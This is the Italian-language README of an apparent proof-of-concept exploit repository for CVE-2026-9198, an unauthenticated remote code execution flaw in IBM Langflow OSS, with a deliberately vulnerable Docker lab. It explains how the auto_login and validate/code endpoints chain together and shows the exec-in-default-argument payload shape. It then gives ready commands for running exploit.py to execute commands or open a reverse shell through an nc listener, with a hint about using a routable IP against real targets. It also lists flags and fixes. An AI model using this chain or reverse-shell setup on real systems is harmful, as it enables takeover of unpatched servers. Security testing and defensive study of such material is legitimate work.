Proof-of-concept exploit per CVE-2026-9198, una RCE non autenticata in IBM Langflow OSS, che combina gli endpoint auto_login e validate/code. Include un laboratorio Docker vulnerabile per test autorizzati e formazione.
Proof-of-concept exploit e un laboratorio Docker autonomo per CVE-2026-9198, una vulnerabilità di esecuzione remota di codice non autenticata in IBM Langflow OSS.
L'exploit combina due endpoint — auto_login (che rilascia un token SUPERUSER a
chiunque) e validate/code (che esegue Python fornito dall'attaccante) — per ottenere
l'esecuzione di codice come utente del servizio Langflow, senza richiedere credenziali.
[!WARNING] Solo per test di sicurezza autorizzati e scopi educativi. Esegui questo esclusivamente contro sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta al test. Il laboratorio Docker in questo repository è deliberatamente vulnerabile — tienilo sulla tua macchina e non esporlo mai su internet. Sei responsabile dell'uso che fai di questo codice.
| CVE | CVE-2026-9198 |
| Prodotto | IBM Langflow OSS |
| Versioni affette | 1.0.0 – 1.10.0 |
| Corretta in | 1.10.1 |
| CVSS 3.1 | 9.8 Critica — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-94 — Controllo improprio della generazione di codice ('Code Injection') |
| CISA KEV | Sì — nota come sfruttata in natura |
L'exploit è una catena in due passaggi che non richiede autenticazione:
GET /api/v1/auto_loginLangflow viene fornito con LANGFLOW_AUTO_LOGIN abilitato per impostazione predefinita. Quando è attivo, l'
endpoint auto_login rilascia un JWT SUPERUSER di lunga durata a qualsiasi chiamante, senza
chiedere credenziali:
{ "access_token": "eyJ...", "refresh_token": "eyJ...", "token_type": "bearer" }
POST /api/v1/validate/codeDalla versione 1.3.0 questo endpoint richiede autenticazione (questa era la correzione per
CVE-2025-3248) — ma il passaggio 1 ci ha appena fornito un token SUPERUSER valido, quindi il controllo è
inutile. Internamente l'endpoint chiama validate_code(), che compila ed esegue
ogni definizione di funzione che riceve:
for node in tree.body:
if isinstance(node, ast.FunctionDef):
code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
try:
exec(code_obj) # <-- esegue la def
except Exception as e:
errors["function"]["errors"].append(str(e)) # <-- l'output trapela qui
Eseguire un'istruzione def valuta i valori dei suoi argomenti predefiniti. Quindi una funzione
il cui argomento predefinito è exec("...") esegue codice arbitrario nel momento in cui viene
validata — la funzione non viene nemmeno mai chiamata. Qualsiasi eccezione sollevata viene catturata e
restituita nella risposta sotto function.errors, che l'exploit usa per leggere l'
output dei comandi tramite HTTP.
Forma del payload (il comando è avvolto in base64 per sopravvivere a qualsiasi quotatura):
def _(a=exec('... subprocess.run(<cmd>) ...; raise Exception(<output>)')):
pass
.
├── exploit.py # il PoC (esecuzione comandi + reverse shell)
├── docker-compose.yml # laboratorio vulnerabile: langflow 1.10.0 + postgres
├── requirements.txt # requests
└── README.md
requests (pip install -r requirements.txt)docker compose up -d
Langflow impiega un minuto o due per diventare pronto al primo avvio. Attendi finché non risponde:
curl -fs http://127.0.0.1:9999/health && echo OK
Il servizio è volutamente vincolato a 127.0.0.1:9999 — non è raggiungibile dalla tua
rete.
Installa la dipendenza, poi punta l'exploit al laboratorio.
pip install -r requirements.txt
python3 exploit.py --url http://127.0.0.1:9999 --cmd "id"
Output di esempio:
[*] target: http://127.0.0.1:9999
[*] step 1: requesting SUPERUSER token from /api/v1/auto_login
[+] got SUPERUSER token: eyJhbGciOiJIUzI1NiIs...
[*] step 2: reaching RCE through /api/v1/validate/code
[*] executing command via validate/code: 'id'
[+] command output (returned via function.errors):
------------------------------------------------------------
uid=1000(langflow) gid=1000(langflow) groups=1000(langflow)
------------------------------------------------------------
Qualsiasi comando funziona: --cmd "uname -a && whoami && cat /etc/os-release".
Avvia un listener:
nc -lvnp 4444
Poi lancia il payload. Quando il target gira in Docker sulla stessa macchina, il
contenitore raggiunge il tuo host su host.docker.internal (Docker Desktop); su un
target reale usa il tuo IP instradabile:
python3 exploit.py --url http://127.0.0.1:9999 \
--reverse-shell --lhost host.docker.internal --lport 4444
Ottieni una /bin/sh interattiva sul tuo listener come utente langflow.
| Flag | Descrizione |
|---|---|
--url | URL base del target (obbligatorio) |
--cmd | Comando da eseguire (predefinito id) |
--reverse-shell | Fornisce una reverse shell invece di eseguire --cmd |
--lhost / --lport | Host e porta di callback della reverse shell |
--token | Usa un token bearer fornito e salta auto_login |
--timeout | Timeout per richiesta, in secondi (predefinito 15) |
--insecure | Salta la verifica TLS (per target https) |
LANGFLOW_AUTO_LOGIN=false,
e imposta credenziali superuser reali.validate/code su cui questo si basa)